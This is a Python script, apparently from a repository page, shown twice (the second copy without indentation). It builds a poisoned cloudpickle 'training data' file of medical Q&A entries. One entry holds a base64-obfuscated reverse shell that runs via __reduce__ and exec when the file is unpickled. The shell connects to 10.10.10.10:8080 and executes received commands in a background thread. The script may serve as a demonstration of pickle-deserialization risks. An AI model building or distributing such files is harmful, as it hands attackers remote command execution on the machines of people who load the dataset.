cloudpickle-payload-chatbot / generate_data_cloudpickle.py

initial commit

c8a80c8 over 1 year ago

1.55 kB

import base64
import cloudpickle
import textwrap

# 1) Build a payload that imports inside the thread function
payload = textwrap.dedent("""
def rev_shell():
    import socket, subprocess
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("10.10.10.10", 8080))
    while True:
        cmd = s.recv(1024).decode()
        if cmd.lower() in ["exit", "quit"]:
            break
        out = subprocess.getoutput(cmd)
        s.sendall(out.encode())
    s.close()
import threading
threading.Thread(target=rev_shell, daemon=True).start()
""").strip()

# 2) Obfuscate via base64
encoded = base64.b64encode(payload.encode()).decode()

# 3) Trigger class that decodes to a str and execs
class Trigger:
    def __reduce__(self):
        cmd = (
            "import base64\n"
            f"source = base64.b64decode('{encoded}').decode()\n"
            "exec(source)"
        )
        return (exec, (cmd,))

# 4) Put it inside a “legitimate” Q&A list
qna = [
    {"question": "What are symptoms of diabetes?", "answer": "Frequent urination, excessive thirst, and weight loss."},
    {"question": "How to lower blood pressure?",    "answer": "Diet, exercise, and salt reduction help."},
    {"question": "Stealth payload",                 "answer": Trigger()},
    {"question": "Just data",                       "answer": "Looks normal, right?"}
]

# 5) Dump it out with cloudpickle
with open("train_data_mod_obfuscated_fixed.cpkl", "wb") as f:
    cloudpickle.dump(qna, f)

print("✅ Cloudpickle file created successfully.")

	import base64
	import cloudpickle
	import textwrap

	# 1) Build a payload that imports inside the thread function
	payload = textwrap.dedent("""
	def rev_shell():
	import socket, subprocess
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(("10.10.10.10", 8080))
	while True:
	cmd = s.recv(1024).decode()
	if cmd.lower() in ["exit", "quit"]:
	break
	out = subprocess.getoutput(cmd)
	s.sendall(out.encode())
	s.close()

	import threading
	threading.Thread(target=rev_shell, daemon=True).start()
	""").strip()

	# 2) Obfuscate via base64
	encoded = base64.b64encode(payload.encode()).decode()

	# 3) Trigger class that decodes to a str and execs
	class Trigger:
	def __reduce__(self):
	cmd = (
	"import base64\n"
	f"source = base64.b64decode('{encoded}').decode()\n"
	"exec(source)"
	)
	return (exec, (cmd,))

	# 4) Put it inside a “legitimate” Q&A list
	qna = [
	{"question": "What are symptoms of diabetes?", "answer": "Frequent urination, excessive thirst, and weight loss."},
	{"question": "How to lower blood pressure?", "answer": "Diet, exercise, and salt reduction help."},
	{"question": "Stealth payload", "answer": Trigger()},
	{"question": "Just data", "answer": "Looks normal, right?"}
	]

	# 5) Dump it out with cloudpickle
	with open("train_data_mod_obfuscated_fixed.cpkl", "wb") as f:
	cloudpickle.dump(qna, f)

	print("✅ Cloudpickle file created successfully.")